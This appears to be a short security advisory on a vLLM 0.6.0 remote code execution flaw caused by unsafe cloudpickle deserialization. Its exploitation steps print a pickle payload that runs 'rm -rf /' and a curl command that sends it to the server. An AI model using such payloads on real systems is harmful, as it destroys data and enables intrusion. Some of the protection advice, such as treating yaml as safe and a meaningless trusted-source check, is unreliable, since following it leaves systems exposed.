How the CVE Works:
The vulnerability in vLLM version 0.6.0 lies in the `AsyncEngineRPCServer()` RPC server entrypoints. The function `run_server_loop()` calls _make_handler_coro(), which uses `cloudpickle.loads()` to deserialize incoming messages. Since the deserialization process is not sanitized, an attacker can craft malicious pickle data and send it to the server. When the server deserializes this data, it executes arbitrary code, leading to remote code execution (RCE). This exploit is particularly dangerous because it allows an attacker to take full control of the server without requiring authentication.
DailyCVE Form:
Platform: vLLM
Version: 0.6.0
Vulnerability: Remote Code Execution
Severity: Critical
Date: Mar 20, 2025
What Undercode Say:
Exploitation:
1. Crafting Malicious Payload:
An attacker can create a malicious pickle payload using Python’s `pickle` or `cloudpickle` module.
Example:
import pickle
import os
class Exploit:
def <strong>reduce</strong>(self):
return (os.system, ('rm -rf /',))
payload = pickle.dumps(Exploit())
2. Sending Payload to Server:
The attacker sends the payload to the vulnerable `AsyncEngineRPCServer()` endpoint.
Example using `curl`:
curl -X POST http://vulnerable-server:port/rpc -d @malicious_payload.pkl
3. Triggering Deserialization:
The server deserializes the payload using cloudpickle.loads(), executing the embedded command.
Protection:
1. Input Sanitization:
Validate and sanitize all incoming data before deserialization.
Example:
import cloudpickle
def safe_deserialize(data):
if not is_trusted_source(data):
raise ValueError("Untrusted data source")
return cloudpickle.loads(data)
2. Use Safe Deserialization Libraries:
Replace `cloudpickle` with safer alternatives like `json` or `yaml` for deserialization.
Example:
import json def safe_deserialize(data): return json.loads(data)
3. Restrict Network Access:
Limit access to the RPC server to trusted IPs only.
Example using `iptables`:
iptables -A INPUT -p tcp --dport <port> -s <trusted-ip> -j ACCEPT iptables -A INPUT -p tcp --dport <port> -j DROP
4. Update to Patched Version:
Upgrade to a patched version of vLLM where the vulnerability is fixed.
Example:
pip install --upgrade vllm
5. Monitor Logs:
Regularly monitor server logs for unusual activity.
Example using `grep`:
grep "POST /rpc" /var/log/vllm.log
6. Disable Unused Features:
Disable the `AsyncEngineRPCServer()` if not required.
Example:
Comment out or remove the following line in your code AsyncEngineRPCServer().start()
By following these steps, you can mitigate the risk of exploitation and protect your systems from this critical vulnerability.
References:
Reported By: https://github.com/advisories/GHSA-cj47-qj6g-x7r4
Extra Source Hub:
Undercode
